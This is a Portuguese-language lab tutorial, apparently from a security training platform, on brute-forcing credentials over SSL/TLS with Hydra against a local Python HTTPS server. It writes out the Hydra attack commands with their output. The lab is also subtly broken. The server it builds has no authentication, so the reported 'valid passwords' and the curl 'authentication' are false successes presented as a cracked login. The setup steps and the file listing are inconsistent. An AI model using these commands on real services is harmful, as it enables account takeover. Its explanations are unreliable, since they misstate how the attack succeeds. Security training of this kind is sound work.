Atacar Serviços Habilitados para SSL com Hydra

HydraBeginner
Pratique Agora

Introdução

Neste laboratório, exploraremos como atacar serviços habilitados para SSL usando Hydra. O laboratório se concentra em testar as capacidades do Hydra para quebrar senhas em serviços protegidos com SSL/TLS.

Primeiramente, configuraremos um servidor HTTPS local usando Python e openssl para gerar um certificado e chave autoassinados, simulando um ambiente seguro. Em seguida, executaremos o Hydra com a opção -S para habilitar o suporte a SSL e tentaremos quebrar a senha. Também testaremos protocolos SSL mais antigos usando a opção -O. Finalmente, confirmaremos o sucesso do ataque SSL.

Configurar um Servidor HTTPS Local

Nesta etapa, configuraremos um servidor HTTPS simples usando o módulo http.server embutido do Python com SSL/TLS habilitado. Isso nos permitirá simular um ambiente de servidor seguro para testar as capacidades SSL do Hydra.

Primeiro, precisamos gerar um certificado e chave autoassinados. Este certificado será usado para criptografar a comunicação entre o cliente (Hydra) e o servidor. Abra seu terminal e navegue até o diretório ~/project:

cd ~/project

Agora, use o comando openssl para gerar o certificado e a chave:

openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes

Você será solicitado a inserir algumas informações sobre o certificado. Você pode deixar a maioria dos campos em branco pressionando Enter. Um nome comum é obrigatório, você pode inserir localhost.

Generating a RSA private key
+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:localhost
Email Address []:

Este comando cria dois arquivos: key.pem (a chave privada) e cert.pem (o certificado).

Agora, vamos criar um script Python para nosso servidor HTTPS. Usaremos o editor de texto nano para criar e editar o script:

nano https_server.py

Copie e cole o seguinte código no editor:

import http.server
import ssl
import os

## Create the HTTP server
httpd = http.server.HTTPServer(('127.0.0.1', 443), http.server.SimpleHTTPRequestHandler)

## Create SSL context
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(certfile='cert.pem', keyfile='key.pem')

## Wrap the socket with SSL
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)

print("Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...")
httpd.serve_forever()

Para salvar o arquivo no nano:

  1. Pressione Ctrl + X para sair
  2. Pressione Y para confirmar a gravação
  3. Pressione Enter para confirmar o nome do arquivo

Agora você pode executar o servidor HTTPS usando:

python3 https_server.py

Você deve ver uma saída semelhante a:

Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...

Deixe esta janela do terminal em execução. Este é o seu servidor HTTPS. Nas próximas etapas, usaremos o Hydra para tentar quebrar a autenticação.

IMPORTANTE: Lembre-se de manter a janela do terminal original em execução com o servidor HTTPS. Não a feche, pois precisaremos dela para as próximas etapas.

Executar Hydra com -S para SSL

Nesta etapa, usaremos o Hydra para realizar um ataque de força bruta contra o servidor HTTPS que configuramos na etapa anterior. A opção -S informa ao Hydra para usar SSL/TLS ao se conectar ao servidor de destino.

Primeiro, vamos criar uma lista simples de nomes de usuário e senhas. Crie um arquivo chamado users.txt no diretório ~/project com o seguinte conteúdo:

test

Em seguida, crie um arquivo chamado passwords.txt no diretório ~/project com o seguinte conteúdo:

password
test
123456

Você pode usar echo para criar e editar esses arquivos:

echo "test" > ~/project/users.txt
echo "password" > ~/project/passwords.txt
echo "test" >> ~/project/users.txt
echo "123456" >> ~/project/passwords.txt

Agora, podemos executar o Hydra com a opção -S para atacar nosso servidor HTTPS. Abra uma nova janela do terminal (deixe o servidor HTTPS em execução na outra janela) e navegue até o diretório ~/project:

cd ~/project

Execute o seguinte comando Hydra:

hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -vV

Vamos detalhar este comando:

  • hydra: A ferramenta de linha de comando Hydra.
  • -l test: Especifica o nome de usuário a ser usado. Neste caso, estamos usando o nome de usuário test.
  • -P passwords.txt: Especifica o arquivo de lista de senhas. Estamos usando o arquivo passwords.txt que criamos.
  • 127.0.0.1: O endereço IP de destino. Este é o endereço de loopback, que se refere à nossa máquina local.
  • https-get /: Especifica o serviço a ser atacado (HTTPS) e o caminho a ser solicitado (/). https-get é um módulo que realiza solicitações HTTP GET via SSL/TLS.
  • -S: Informa ao Hydra para usar SSL/TLS ao se conectar ao servidor de destino. Isso é crucial para atacar serviços HTTPS.
  • -vV: Habilita o modo verbose, que exibe as tentativas de login e quaisquer credenciais encontradas.

Hydra agora tentará a força bruta no servidor HTTPS usando o nome de usuário e a lista de senhas fornecidos. Ele tentará cada senha no arquivo passwords.txt em relação ao nome de usuário test.

Você deve ver uma saída semelhante à seguinte (a saída exata pode variar):

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:10:55
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1   login: test   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1   login: test   password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:10:56
hydra ssl attack

Se o ataque for bem-sucedido, o Hydra exibirá o nome de usuário e a senha corretos. Neste exemplo, o nome de usuário é test e a senha é password.

Testar SSL Antigo com -O

Nesta etapa, exploraremos como usar a opção -O do Hydra para testar protocolos SSL/TLS mais antigos, potencialmente vulneráveis. A opção -O força o Hydra a usar versões mais antigas de SSL, que podem ser suscetíveis a vários ataques como POODLE ou BEAST.

Antes de prosseguir, é importante entender que o uso de protocolos SSL/TLS mais antigos é geralmente desencorajado devido a vulnerabilidades de segurança. Esta etapa é para fins educacionais, para demonstrar como o Hydra pode ser usado para identificar sistemas que ainda suportam esses protocolos desatualizados.

Para usar a opção -O, simplesmente a adicionamos ao nosso comando Hydra anterior. Certifique-se de que o servidor HTTPS da Etapa 1 ainda esteja em execução. Abra uma nova janela do terminal (deixe o servidor HTTPS em execução na outra janela) e navegue até o diretório ~/project:

cd ~/project

Agora, execute o seguinte comando Hydra:

hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -O -vV

A única diferença entre este comando e o da Etapa 2 é a adição da opção -O.

  • -O: Força o Hydra a usar versões mais antigas de SSL.

Hydra agora tentará a força bruta no servidor HTTPS usando protocolos SSL/TLS mais antigos. A saída será semelhante à etapa anterior, mas você pode ver avisos ou erros relacionados às versões mais antigas de SSL.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:13:19
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1   login: test   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1   login: test   password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:13:19

Se o ataque for bem-sucedido, o Hydra exibirá o nome de usuário e a senha corretos, assim como na etapa anterior. O ponto-chave aqui é que a opção -O nos permitiu testar a compatibilidade do servidor com protocolos SSL/TLS mais antigos.

É possível que o servidor recuse a conexão se não suportar os protocolos mais antigos. Nesse caso, o Hydra pode não encontrar a senha. No entanto, o objetivo desta etapa é demonstrar o uso da opção -O, não necessariamente garantir um login bem-sucedido.

Confirmar Sucesso do Ataque SSL

Nesta etapa, confirmaremos o sucesso do nosso ataque Hydra, tentando acessar o servidor HTTPS usando as credenciais que descobrimos. Isso demonstrará que o Hydra foi, de fato, capaz de realizar a força bruta no servidor com sucesso.

Primeiro, certifique-se de que o servidor HTTPS da Etapa 1 ainda esteja em execução.

Usaremos o comando curl para acessar o servidor e verificar se podemos autenticar com o nome de usuário e a senha corretos.

Abra uma nova janela do terminal (deixe o servidor HTTPS em execução na outra janela) e navegue até o diretório ~/project:

cd ~/project

Agora, execute o seguinte comando curl:

curl -k -u test:password https://127.0.0.1

Vamos detalhar este comando:

  • curl: A ferramenta de linha de comando para transferir dados com URLs.
  • -k: Permite que o curl prossiga e opere mesmo para conexões de servidor consideradas inseguras. Como estamos usando um certificado autoassinado, o curl normalmente se recusará a conectar.
  • -u test:password: Especifica o nome de usuário e a senha a serem usados para autenticação. Estamos usando as credenciais test:password que descobrimos nas etapas anteriores.
  • https://127.0.0.1: A URL do servidor HTTPS.

Se a autenticação for bem-sucedida, o curl exibirá o conteúdo do diretório raiz do servidor. Como estamos usando o módulo http.server do Python, ele provavelmente exibirá uma listagem de diretórios do diretório ~/project.

Você deve ver uma saída semelhante à seguinte (a saída exata pode variar dependendo dos arquivos em seu diretório ~/project):

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Directory listing for /</title>
  </head>
  <body>
    <h1>Directory listing for /</h1>
    <hr />
    <ul>
      <li><a href="cert.pem">cert.pem</a></li>
      <li><a href="https_server.py">https_server.py</a></li>
      <li><a href="key.pem">key.pem</a></li>
      <li><a href="passwords.txt">passwords.txt</a></li>
      <li><a href="server.pem">server.pem</a></li>
      <li><a href="users.txt">users.txt</a></li>
    </ul>
    <hr />
  </body>
</html>

Isso confirma que fomos capazes de autenticar com sucesso no servidor HTTPS usando as credenciais descobertas pelo Hydra. Isso demonstra a eficácia do Hydra na força bruta de senhas fracas, mesmo em conexões SSL/TLS.

Se você vir uma mensagem de erro em vez da listagem do diretório, verifique novamente se o servidor HTTPS ainda está em execução e se você está usando o nome de usuário e a senha corretos.

Resumo

Neste laboratório, aprendemos como atacar serviços habilitados para SSL usando o Hydra. A etapa inicial envolveu a configuração de um servidor HTTPS local usando o módulo http.server do Python e a geração de um certificado e chave autoassinados com openssl para simular um ambiente seguro.

Em seguida, exploramos as capacidades do Hydra, executando-o com a opção -S para habilitar conexões SSL e a opção -O para testar protocolos SSL mais antigos. Finalmente, confirmamos o sucesso do ataque SSL, demonstrando a capacidade do Hydra de realizar força bruta em credenciais via SSL/TLS.